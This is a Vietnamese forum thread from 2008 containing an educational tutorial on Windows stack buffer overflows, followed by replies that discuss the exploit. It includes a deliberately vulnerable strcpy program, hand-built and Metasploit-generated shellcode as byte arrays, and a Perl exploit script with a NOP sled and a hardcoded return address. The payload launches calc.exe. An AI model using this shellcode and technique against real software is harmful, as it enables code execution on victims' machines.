[Article] Tìm hiểu lỗi Buffer Overflow trên Windows |
15/11/2008 06:05:18 (+0700) | #1 | 158915 |
seamoun
Advisor
|
Joined: 04/01/2002 14:05:10
Messages: 357
Offline
|
|
I. CHƯƠNG TRÌNH KHI NẠP TRONG BỘ NHỚ
Khi những tiến trình được nạp đến bộ nhớ, chúng chia thành 6 phân đoạn như sau:
1) Phân đoạn .text
Phân đoạn này tương ứng là phần của file thực thi nhị phân. Nó chứa các chỉ thị lệnh (mã máy) để thực hiện các tác vụ của chương trình. Phân đoạn này được đánh dấu là chỉ đọc và sẽ gây ra lỗi nếu như ghi trên phân đoạn này. Kích thước là cố định tại lúc thực thi khi tiến trình lần đầu tiên được nạp.
2) Phân đoạn .data
Là phân đoạn được sử dụng để lưu trữ các biến toàn cục và có khởi tạo giá trị ban đầu như là: int a=0;
Kích thước này cũng có định tại lúc thực thi chương trình
3) Phân đoạn .bss
Below stack section (.bss) là được sử dụng để lưu trữ các biến toàn cục nhưng không có khởi tạo giá trị ban đâu như là : int a;
Kích thước của phân đoạn này cũng cố định lúc thực thi chương trình.
4) Phân đoạn Heap
Phân đoạn này được sử dụng để cấp phát các biến động và phát triển từ vùng địa chỉ thấp đến vùng địa chỉ cao trong bộ nhớ. Trong ngôn ngữ C thì việc cấp phát và giải phóng được thực hiện qua hai hàm malloc() và free(). Ví dụ:
int i = malloc(sizeof (int));
5) Phân đoạn Stack
Phân đoạn stack có tác dụng giữ những lời gọi hàm trong thủ tục đệ quy và phát triển theo địa chỉ vùng nhớ cao đến địa chỉ vùng nhớ thấp trên hầu hết các hệ thống.
6) Phân đoạn biến môi trường và đối số
Phân đoạn này lưu trữ một bản sao chép các biến cấp độ hệ thống mà có thể được yêu cầu bởi tiến trình trung quá trình thực thi. Phân đoạn này có khả năng ghi được.
Ví dụ một đoạn chương trình
Code:
/* memory.c */ // this comment simply holds the program name
int index = 5; // giá trị này được lưu tại phân đoạn data bởi vì nó có giá trị khởi tạo.
char * str; // giá trị này được lưu tại phân đoạn bss vì nó không có giá trị khởi tạo ban đầu.
void funct1(int c){ // bracket starts function1 block
int i=c; // được lưu trong phân đoạn stack.
str = (char*) malloc (10 * sizeof (char)); // Dành 10 ký tự trong vùng nhớ Heap.
strncpy(str, "abcde", 5); //copies 5 characters "abcde" into str
} //end of function1
void main (){ //the required main function
funct1(1); //main calls function1 with an argument
} //end of the main function
II. GIẢI THÍCH CƠ CHẾ LÀM VIỆC CỦA NGĂN XẾP (STACK)
1) Cho đoạn chương trình sau:
Code:
int f(int a,int b,int c);
int main()
{
f(1,2,3);
return 0;
}
int f(int a,int b,int c)
{
int i;
char buf[3];
i=5;
buf[0]='A';
buf[1]='B';
buf[2]='C';
return (a+i);
}
2) Mã Assembly của hai hàm trên như sau:
3) Giải thích mã Assembly của chương trình
Khi hệ thống chuyển điều khiển cho chương trình nó sẽ lưu địa chỉ trở về như sau
push ebp
mov ebp,esp
Khi gọi hàm f(1,2,3) với ba đối số kiểu int thì các bước chuẩn bị để gọi hàm như sau
a) Đẩy các tham số của hàm vào stack theo thứ tự sau
push 3
push 2
push 1
- Tại sao nó lại đẩy theo thứ tự như vậy, bởi vì cơ chế làm việc của stack là vào sau ra trước. Như vậy khi push các tham số như trên sẽ đúng thứ tự của tham số khi gọi hàm
b) Gọi hàm
call f
- Khi gọi hàm f thì địa chỉ câu lệnh tiếp theo của lệnh gọi hàm f sẽ được đẩy vào stack và quyền điều khiển lúc này được trao cho hàm f()
c) Quá trình thực thi hàm f() như sau
- Đầu tiên ebp được đẩy vào stack, lúc này esp trỏ đến địa chỉ cũ của ebp. Tiếp đến ebp được gán bởi esp. Như vậy là esp, và ebp đều trỏ đến địa chỉ cũ của ebp. Sau đó chương trình cấp phát vùng nhớ cho 4 biến cục bộ. Biến i (4 bytes) và 3 biến char mỗi biến là 1 byte. Tổng cộng là 7 bytes nhưng được làm tròn thành 8 bytes
push ebp
mov ebp, esp
sub esp, 8
- Sau đó các biến cục bộ được gán giá trị như sau. Đầu tiên là biến i tiếp đến là 3 kí tự
mov dword ptr [ebp-4], 5
mov byte ptr [ebp-8], 'A'
mov byte ptr [ebp-7], 'B'
mov byte ptr [ebp-6], 'C'
- EBP đang trỏ đến ô nhớ chứa giá trị EBP cũ. ESP sẽ được gán bằng EBP. Như vậy ESP đang trỏ đến ô nhớ chứa giá trị EBP cũ. Tiếp theo, lệnh pop sẽ lấy giá trị của EBP cũ vào EBP, ESP trỏ đến ô nhớ chứa địa chỉ trở về. Lệnh ret sẽ lấy địa chỉ trở về vào EIP và quyền điều khiển chương trình được chuyển giao cho hàm main(), ESP trỏ đến ô nhớ chứa tham số đầu tiên của hàm f().
mov esp,ebp
pop ebp
ret
- Qua đoạn quá trình thực thi của hàm f ta thấy được rằng là thanh ghi ebp dùng để tham chiếu các biến cục bộ và tham số của hàm của hàm f
Tham chiếu đến tham số: ebp+???
Tham chiếu đến biến cục bộ ebp-???
Lưu ý: Vùng stack làm việc từ vùng nhớ cao đến vùng nhớ thấp tức là thanh ghi esp được trỏ ở đỉnh của ngăn xếp cho nến quá trình cấp phát ô nhớ sẽ được thực hiện từ vùng nhớ cao đến vùng nhớ thấp. Mỗi lần được cấp phát thì địa chỉ esp sẽ giảm tương ứng với kiểu của biến.
Sơ đồ biểu diễn stack đối với chương trình trên như sau
4) Ghi đè lên địa chỉ trở về trong ngăn xếp
Ví dụ sau đây sẽ cho thấy cách ghi đè lên địa chỉ trở về trong ngăn xếp.
a) Ví dụ
Code:
#include <stdio.h>
void func2()
{
printf("Hello everybody !\n");
exit(1);
}
void func1()
{
int buf[1];
buf[2]=(int)func2;
}
void main()
{
func1();
}
Sau khi chạy chương trình nó sẽ xuất hiện trên màn hình là dòng chữ “Hello everybody”.
Hàm func2() đã ghi đè địa chỉ trở về của hàm func1, cho nên thực hiện func2 và thóat chương trình.
b) Giải thích
Trong hàm main chỉ gọi mỗi hàm func1() và quy trình làm khởi tạo và làm việc của hàm func1() giống các thao tác của hàm f() trên như đã giới thiệu phần trước.
- Đầu tiên đẩy (push) các đối số (Ở đây là không có đối số nào)
- Sau đó là đẩy (push) địa chỉ trở về vào ngăn xếp
- Đẩy giá trị ebp vào stack
- Cấp phát biến cục bộ cho hàm func1(Ở đây chỉ có một biến kiểu int )
Chú ý đến stack bây giờ có những gì trong đó có :
1) Địa chỉ trở về
2) Địa chỉ ebp cũ
3) Địa chỉ của biến buf mà ở đây là buf[0] (Mảng trong C được đánh số từ 0)
Như vậy buf[0] tức là biến cục bộ của hàm test_proc, buf[1] là địa chỉ của ebp cũ, buf[2] là địa chỉ trở về của hàm
Câu lệnh buf[2]=int func2 đã ghi đè địa chỉ trở về của hàm func1. Do đó đáng lẽ là hàm func1() sau khi thực thi xong sẽ quay về main nhưng địa chỉ trở về của nó đã bị ghi đè nên gọi tiếp hàm func2().
III. GIỚI THIỆU SHELLCODE
1) Định nghĩa
Theo định nghĩa của wikipedia.org thì shellcode là “In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability”.
2) Cách tạo một shellcode
Ví dụ sau sẽ hướng dẫn cách tạo một shellcode với hàm WinExec.
Hàm WinExec là hàm thực thi một ứng dụng, với đối số đầu vào là tên file ứng dụng và cách hiển thị khi ứng dụng được thi thực thi (thực thi ứng dụng có thể ở dạng ẩn, bình thường, …).
Code:
Chi tiết về hàm WinExec
UINT WINAPI WinExec(
__in LPCSTR lpCmdLine,
__in UINT uCmdShow
);
Chi tiết về hàm có thể tham khảo tại:
( http://msdn.microsoft.com/en-us/library/ms687393(VS.85).aspx)
Giả sử sử dụng hàm WinExec để thực thi calc.exe(Calculator trong Windows) với hàm WinExec. Khi viết bằng ngôn ngữ C thì nó sẽ như sau:
Code:
#include <windows.h>
int main()
{
char fname[10]="calc";
WinExec(fname,1);
return 0;
}
Với cách gọi hàm WinExec như trên thì khi viết lại bằng ngôn ngữ Assembly for Windows thì dựa theo cách đã trình bày ở phần II được viết như sau:
Trước hết cần biết địa chỉ của hàm WinExec trong thư viện kernel32.dll.
Đoạn mã sau cho biết địa chỉ của một hàm trong một thư viện đã chỉ định
Code:
#include <windows.h>
#include <stdio.h>
int main(int argc,char *argv[])
{
if (argc<3)
{
printf("Cu phap: %s <Ten dll> <Ten ham> \n",argv[0]);
printf("Vi du: %s kernel32.dll WinExec",argv[0]);
return 0;
}
HINSTANCE hDll;
hDll=LoadLibrary(argv[1]);
if (hDll!=0)
{
FARPROC fp;
fp=GetAddressProc(hDll,argv[2])
if (fp!=0)
printf("Dia chi cua ham %s la : 0x%x",argv[1],fp);
else
printf("Khong tim thay ham %s trong thu vien %s",argv[2],argv[1]);
}
}
Sau khi biên dịch và chạy đoạn chương trình trên với đối số là tên thư viện và hàm WinExec có kết quả hàm WinExec ở tại: 0x7c86114d (WindowsXp SP2) và hàm ExitProcess tại địa chỉ 0x7c81caa2 (WindowsXp SP2).
Đoạn mã Assembly như sau:
Code:
void main()
{
__asm{
xor eax,eax
push eax
sub esp,4
mov [ebp-8],'c'
mov [ebp-7],'a'
mov [ebp-6],'l'
mov [ebp-5],'c'
push eax
lea eax,[ebp-8]
push eax
mov eax,0x7c86114d
call eax
mov eax,0x7c81caa2
call eax
}
}
Khi biên dịch và chạy với mã Assembly trên thì không khác gì với việc hàm viết trong C. Nhưng ở đây được viết bằng Assembly for Windows. Sở dĩ phải viết hàm bằng ngôn ngữ Assembly vì cho phép nắm rõ cách tạo hàm và gọi hàm trong Assembly for Windows và lấy được mã máy khi sử dụng chương trình OllyDbg, sau đây là mã máy của đoạn Assembly trên.
Trên hình vẽ sẽ có được mã máy tương ứng với mã Assembly, bây giờ xây dựng shellcode và thực thi từ mã máy này như sau:
Code:
unsigned char scode[] =
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x50\x8D\x45\xF8\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\xB8\xA2\xCA\x81\x7C\xFF\xD0\x5D\xC3";
int main(int argc, char *argv[])
{
int *ret;
ret=(int *)&ret+2;// Ghi đè địa chỉ trở về của hàm main
(*ret)=(int)scode;// Giá trị của con trỏ ret trỏ đến là giá trị của biến scode
return 0;
}
Với cách trên hướng dẫn tự tạo shellcode riêng, tuy nhiên một site chuyên cung cấp các loại shellcode nổi tiếng cùng với framework của nó là metasploit.com. Tại đây có thể tìm thấy rất nhiều loại shellcode khác nhau. Với shellcode của hàm WinExec trên có thể tìm thấy tại
( http://www.metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=win32_exec)
/* win32_exec - EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com */
Code:
unsigned char scode[] =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0d"
"\x5a\x9f\x07\x83\xeb\xfc\xe2\xf4\xf1\xb2\xdb\x07\x0d\x5a\x14\x42"
"\x31\xd1\xe3\x02\x75\x5b\x70\x8c\x42\x42\x14\x58\x2d\x5b\x74\x4e"
"\x86\x6e\x14\x06\xe3\x6b\x5f\x9e\xa1\xde\x5f\x73\x0a\x9b\x55\x0a"
"\x0c\x98\x74\xf3\x36\x0e\xbb\x03\x78\xbf\x14\x58\x29\x5b\x74\x61"
"\x86\x56\xd4\x8c\x52\x46\x9e\xec\x86\x46\x14\x06\xe6\xd3\xc3\x23"
"\x09\x99\xae\xc7\x69\xd1\xdf\x37\x88\x9a\xe7\x0b\x86\x1a\x93\x8c"
"\x7d\x46\x32\x8c\x65\x52\x74\x0e\x86\xda\x2f\x07\x0d\x5a\x14\x6f"
"\x31\x05\xae\xf1\x6d\x0c\x16\xff\x8e\x9a\xe4\x57\x65\x24\x47\xe5"
"\x7e\x32\x07\xf9\x87\x54\xc8\xf8\xea\x39\xfe\x6b\x6e\x5a\x9f\x07";
III. LỖI TRÀN STACK (BUFFER OVERFLOW)
1) Giới thiệu
Lỗi tràn stack xuất hiện khi bộ đệm lưu trữ giữ liệu trong bộ nhớ không kiểm soát việc ghi giá trị trên nó, dẫn đến tràn stack và việc tràn stack này dẫn đến việc ghi đè địa chỉ trở về của hàm.
Để hiểu rõ về tràn stack như thế nào. Cho một ví dụ sau có lỗi tràn stack (buffer overflow)
Code:
//File vul.c
#include <stdio.h>
greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}
Nhiệm vụ của chương trình đơn giản là thực hiện nhận hai tham số và chuyển cho hàm getting(), tại hàm getting() có sử dụng một hàm strcpy có nhiệm vụ copy biến temp2 đến biến name. Tại đây biến name chỉ được cấp phát 400 byte. Do vậy nếu như biến temp2 không lớn hơn 400 thì không có việc gì xảy ra, ngược lại nếu như biến temp2 có giá trị lớn 400, thì nó sẽ lần lượt ghi đè lên địa chỉ EBP và EIP, vì sao nó lại ghi đè lên hai địa chỉ này thì như đã giới thiệu trong phần cách hoạt động của stack. Từ đây có thể khai thác lỗi tràn stack và lần lượt thực hiện viết các mã khai thác như sau:
Giả sử lần lượt đệ trình dữ liệu cho đối số đầu vào sử dụng Perl script như sau:
Code:
perl -e "exec 'vul',’Mr’,('A'x400)" Chương trình sẽ không xuất hiện lỗi.
perl -e "exec 'vul',’Mr’,('A'x404)" Xuất hiện lỗi do ghi đè lên địa chỉ của EBP.
perl -e "exec 'vul',’Mr’,('A'x408)" Xuất hiện lỗi do ghi đè lên địa chỉ của EIP.
2) Khai thác
Để khai thác lỗi tràn bộ đệm của chương trình, bộ đệm của chương trình sẽ được đổ “rác” với lệnh NOP (0x90 – lệnh không làm gì) và địa chỉ trở về EIP được ghi bởi địa chỉ của ESP.
Đoạn mã sau sẽ tìm địa chỉ ESP
Code:
get_sp() { __asm mov eax, esp }
int main(){
printf("Stack pointer (ESP): 0x%x\n", get_sp());
}
Khi chạy chương trình có được địa chỉ ESP: 0x12ff68 (WindowsXP SP2). Shellcode sử dụng ở đây là shellcode có chiều dài 164byte lấy từ metasploit. Như vậy từ địa chỉ ESP ta phải trừ đi 408 byte từ địa chỉ trở về (cấp phát cho biến name, phần EBP và EIP).
Sơ đồ của quá trình khai thác như sau:
Mã khai thác được viết bằng Perl để khai thác chương trình bị lỗi tràn bộ đệm như sau
Code:
# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub
#http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6".
"\x9d\x6d\xaf\x83\xeb\xfc\xe2\xf4\x4a\x75\x29\xaf\xb6\x9d\xe6\xea".
"\x8a\x16\x11\xaa\xce\x9c\x82\x24\xf9\x85\xe6\xf0\x96\x9c\x86\xe6".
"\x3d\xa9\xe6\xae\x58\xac\xad\x36\x1a\x19\xad\xdb\xb1\x5c\xa7\xa2".
"\xb7\x5f\x86\x5b\x8d\xc9\x49\xab\xc3\x78\xe6\xf0\x92\x9c\x86\xc9".
"\x3d\x91\x26\x24\xe9\x81\x6c\x44\x3d\x81\xe6\xae\x5d\x14\x31\x8b".
"\xb2\x5e\x5c\x6f\xd2\x16\x2d\x9f\x33\x5d\x15\xa3\x3d\xdd\x61\x24".
"\xc6\x81\xc0\x24\xde\x95\x86\xa6\x3d\x1d\xdd\xaf\xb6\x9d\xe6\xc7".
"\x8a\xc2\x5c\x59\xd6\xcb\xe4\x57\x35\x5d\x16\xff\xde\x72\xa3\x4f".
"\xd6\xf5\xf5\x51\x3c\x93\x3a\x50\x51\xfe\x0c\xc3\xd5\xb3\x08\xd7".
"\xd3\x9d\x6d\xaf";
# Từ địa chỉ 0x12ff68-0x198(408 bytes)
my $return_address = "\x68\xFF\x12\x00";
my $nop_before = "\x90" x 24;
my $nop_after = "\x90" x 216;
my $payload = $nop_before.$shellcode.$nop_after.$return_address;
exec 'vul',$payload
IV. CÔNG CỤ VÀ TÀI LIỆU THAM KHẢO
1) Công cụ
- OllyDbg – http://www.ollydbg.de. Thanks hacknho với bản Ollydbg patched
2) Tài liệu
- “Gray Hat Hacking, Second Edition” - Shon Harris, Allen Harper, Chris Eagle, and Jonathan Ness.
- Metasploit ( http://metasploit.com).
Xong phần I !!! . Phần II seamoun sẽ nói rõ hơn về cách khai thác và demo khai thác một ứng dụng bị lỗi buffer overflow.
|
|
--vickigroup.com-- |
|
|
|
[Question] Tìm hiểu lỗi Buffer Overflow trên Windows |
15/11/2008 07:21:15 (+0700) | #2 | 158927 |
|
secmask
Elite Member
|
0 |
|
|
Joined: 29/10/2004 13:52:24
Messages: 553
Location: graveyard
Offline
|
|
|
|
[Question] Re: Tìm hiểu lỗi Buffer Overflow trên Windows |
15/11/2008 07:25:03 (+0700) | #3 | 158928 |
|
kienmanowar
HVA Friend
|
Joined: 13/07/2004 05:57:34
Messages: 483
Offline
|
|
Có bản pdf attach lên cho anh em tiện download về đọc không bác seamoun
Regards |
|
|
|
|
[Question] Re: Tìm hiểu lỗi Buffer Overflow trên Windows |
15/11/2008 07:50:39 (+0700) | #4 | 158930 |
protectHat
Member
|
0 |
|
|
Joined: 09/08/2008 11:02:35
Messages: 176
Location: DMZ
Offline
|
|
pdf đây bác: http://www.mediafire.com/?sharekey=b18b682d8469f2c4ab1eab3e9fa335caf58b3d419a46c925
nhưng em thấy đọc trên nền HVA dịu mắt hơn đó |
|
|
|
|
[Question] Re: Tìm hiểu lỗi Buffer Overflow trên Windows |
15/11/2008 14:27:26 (+0700) | #5 | 158971 |
megatron
Member
|
0 |
|
|
Joined: 12/11/2008 18:46:08
Messages: 11
Offline
|
|
Có một vài câu hỏi muốn trao đổi với bạn Seamoun:
1. Bài này là "Tìm hiểu lỗi Buffer Overflow trên Windows" nhưng cái bạn minh họa là vùng nhớ của một process trên Linux
2.
Code:
# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub
#http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6".
"\x9d\x6d\xaf\x83\xeb\xfc\xe2\xf4\x4a\x75\x29\xaf\xb6\x9d\xe6\xea".
"\x8a\x16\x11\xaa\xce\x9c\x82\x24\xf9\x85\xe6\xf0\x96\x9c\x86\xe6".
"\x3d\xa9\xe6\xae\x58\xac\xad\x36\x1a\x19\xad\xdb\xb1\x5c\xa7\xa2".
"\xb7\x5f\x86\x5b\x8d\xc9\x49\xab\xc3\x78\xe6\xf0\x92\x9c\x86\xc9".
"\x3d\x91\x26\x24\xe9\x81\x6c\x44\x3d\x81\xe6\xae\x5d\x14\x31\x8b".
"\xb2\x5e\x5c\x6f\xd2\x16\x2d\x9f\x33\x5d\x15\xa3\x3d\xdd\x61\x24".
"\xc6\x81\xc0\x24\xde\x95\x86\xa6\x3d\x1d\xdd\xaf\xb6\x9d\xe6\xc7".
"\x8a\xc2\x5c\x59\xd6\xcb\xe4\x57\x35\x5d\x16\xff\xde\x72\xa3\x4f".
"\xd6\xf5\xf5\x51\x3c\x93\x3a\x50\x51\xfe\x0c\xc3\xd5\xb3\x08\xd7".
"\xd3\x9d\x6d\xaf";
# Từ địa chỉ 0x12ff68-0x198(408 bytes)
my $return_address = "\x68\xFF\x12\x00";
my $nop_before = "\x90" x 24;
my $nop_after = "\x90" x 216;
my $payload = $nop_before.$shellcode.$nop_after.$return_address;
exec 'vul',$payload
--------> Mình ko hiểu tại sao bạn nhét thêm khúc $nop_after trong payload đằng sau shellcode làm gì? Nó đâu có tác dụng "trượt" về shellcode nếu chẳng may $return_address trỏ về nó ??
Thêm nữa
Code:
my $return_address = "\x68\xFF\x12\x00";
----> theo mình nên bỏ cái \x00 đằng sau đi thành
Code:
my $return_address = "\x68\xFF\x12"
vi strcpy gặp nó coi nó như terminate của chuỗi nên ko có tác dùng gì.
|
|
|
|
|
[Question] Re: Tìm hiểu lỗi Buffer Overflow trên Windows |
15/11/2008 16:13:54 (+0700) | #6 | 158984 |
Mr.Khoai
Moderator
|
Joined: 27/06/2006 01:55:07
Messages: 954
Offline
|
|
megatron,
Cái NOP phía sau shellcode có lẽ là để 'padd' cái shellcode cho đúng size + bảo vệ cái shellcode khi sử dụng stack. khoai có bị vài lần: buffer khá nhỏ, nhưng vì không để ý nên để NOP sled phía trước hơi nhiều. Kết quả, sau vài cú push là stack overwrite cái shellcode, dẫn đến bị illegal instruciton.
khoai cũng không hiểu cái return address. $return_address = "\x68\xff\x12\x00" có nghĩa là address sẽ là 0x0012ff68? Nhưng nếu bỏ 00 ở phía sau thì return address (đủ 4bytes) sẽ là 0x12ff6800. Anh seamoun giải thích thêm cái này dùm em.
khoai |
|
|
|
|
[Question] Re: Tìm hiểu lỗi Buffer Overflow trên Windows |
15/11/2008 23:58:22 (+0700) | #7 | 159011 |
megatron
Member
|
0 |
|
|
Joined: 12/11/2008 18:46:08
Messages: 11
Offline
|
|
Mr.Khoai wrote:
megatron,
Cái NOP phía sau shellcode có lẽ là để 'padd' cái shellcode cho đúng size + bảo vệ cái shellcode khi sử dụng stack. khoai có bị vài lần: buffer khá nhỏ, nhưng vì không để ý nên để NOP sled phía trước hơi nhiều. Kết quả, sau vài cú push là stack overwrite cái shellcode, dẫn đến bị illegal instruciton.
khoai
Mr.Khoai,
Thêm NOP sled vào để fill đúng cái size thì ko nói, nhưng mà ko hiểu ý của Khoai "bảo vệ shellcode" là sao? stack PUSH hay POP trong trường hợp này đâu có dính dáng gì đến buffer. Khoai có thể viết ra cái case study mà Khoai đã gặp đc ko?
khoai cũng không hiểu cái return address. $return_address = "\x68\xff\x12\x00" có nghĩa là address sẽ là 0x0012ff68? Nhưng nếu bỏ 00 ở phía sau thì return address (đủ 4bytes) sẽ là 0x12ff6800. Anh seamoun giải thích thêm cái này dùm em.
Địa chỉ là 4byte. Do cái $return_address của Semoun trong trường hợp này là 0x12ff68 chỉ có 3 byte (qui ước ngầm viết tắt của 0x0012ff68) chứ nếu địa chỉ là 0x12ff6800 thì nhất định NULL byte phải hiển thị tường minh chứ ko đựoc viết tắt theo kiểu 0x12ff68 . Mà nếu cái $ret_address mà là 0x12ff6800 thì khi viết lại trong PAYLOAD là
NOP...NOP.....SHELLCODE....NOP...NOP...\x00\x12\xff\xbf thì khi strcpy sẽ thất bại .
|
|
|
|
|
[Question] Re: Tìm hiểu lỗi Buffer Overflow trên Windows |
16/11/2008 09:55:15 (+0700) | #8 | 159068 |
StarGhost
Elite Member
|
0 |
|
|
Joined: 29/03/2005 20:34:22
Messages: 662
Location: The Queen
Offline
|
|
Thường thì người ta không pad sau shellcode bằng NOPs, mà pad trực tiếp bằng ret_addr, lặp đi lặp lại nhiều lần. Trong trường hợp này, vì ret_addr có chứa NULL, nên không thể làm vậy được, cho nên NOPs chỉ là 1 ví dụ, trên thực tế có thể thay bằng bất cứ cái gì khác NULL.
Trong ví dụ của seamoun, đúng là kí tự NULL cuối cùng không cần thiết, vì strcpy sau khi ghi hết byte cuối cùng, sẽ tự động ghi đè lên vị trí tiếp theo giá trị NULL, và như vậy làm cho vị trí return address trở thành \x68\xff\x12\x00, và vì Windows NT sử dụng little-endianess, nên return address sẽ là 0x0012ff68, đúng như attacker dự đoán.
|
|
Mind your thought. |
|
|
|
[Question] Re: Tìm hiểu lỗi Buffer Overflow trên Windows |
17/11/2008 01:48:30 (+0700) | #9 | 159119 |
Mr.Khoai
Moderator
|
Joined: 27/06/2006 01:55:07
Messages: 954
Offline
|
|
StarGhost,
Ờ há, little endian thì sau khi bỏ cái null byte ở cuối thì địa chỉ vẫn phải là 0x0012ff68 mới đúng chứ. Không hiểu sao hôm đó khoai lại nghĩ ra là 0x12ff6800 nữa.
megatron,
Mình lấy lại hình 5 của anh seamoun làm ví dụ. Thông thường, ngay trước khi strcpy, ESP sẽ point ngay tại vulnerbale bufCode:
+------------------ESP
|
V
+------------------------------------+-----+-----+
| Vulnerable buffer | EBP | RET |
+------------------------------------+-----+-----+
Còn sau khi strcpy thì sơ đồ memory có dạng sau:Code:
+-----------------+------------------+-----+-----+
| NOPs | Shellcode | nRET|nRET |
+-----------------+------------------+-----+-----+
^
|
ESP -----------+
|
V
+-------+--------------------+-------+-----+-----+
| NOPs | Shellcode | pads | nRET|nRET |
+-------+--------------------+-------+-----+-----+
So sánh hai cái input trên (1) và dưới (2). Nếu shellcode trong (1) có sử dụng đến stack và push vài giá trị lên stack thì chính bản thân shellcode sẽ bị overwrite.
Do đó, thông thường người ta pads phía sau shellcode và cắt bớt phần NOPs phía đầu. Như StarGhost có đề cập, thường thì địa chỉ mới nRET được fill đầy buffer, sau đó fill NOP rồi đến shellcode. Phần dư ra (đoạn pads) sẽ là phần nRET còn dư không dùng. Đoạn này thường không được dùng đến. Do đó, để gì ở đây cũng được.
kkhoai
|
|
|
|
|
[Article] Tìm hiểu lỗi Buffer Overflow trên Windows |
10/01/2010 14:29:32 (+0700) | #10 | 202906 |
Mr_Kinara
Member
|
0 |
|
|
Joined: 13/08/2009 11:33:59
Messages: 3
Offline
|
|
Các anh ơi
em mới down cái giáo trình Hacker có 7 CD ý.
Học cái đó thì liệu có trở thành Hacker ko hả các anh
|
|
|
[Article] Tìm hiểu lỗi Buffer Overflow trên Windows |
10/01/2010 15:24:31 (+0700) | #11 | 202909 |
hmtaccess
Member
|
0 |
|
|
Joined: 12/06/2008 02:26:45
Messages: 197
Location: ™œžŸ¤¢£§¨©
Offline
|
|
Ai có thể login vào active mấy cái hình không. Không xem được hình kìa |
|
|
|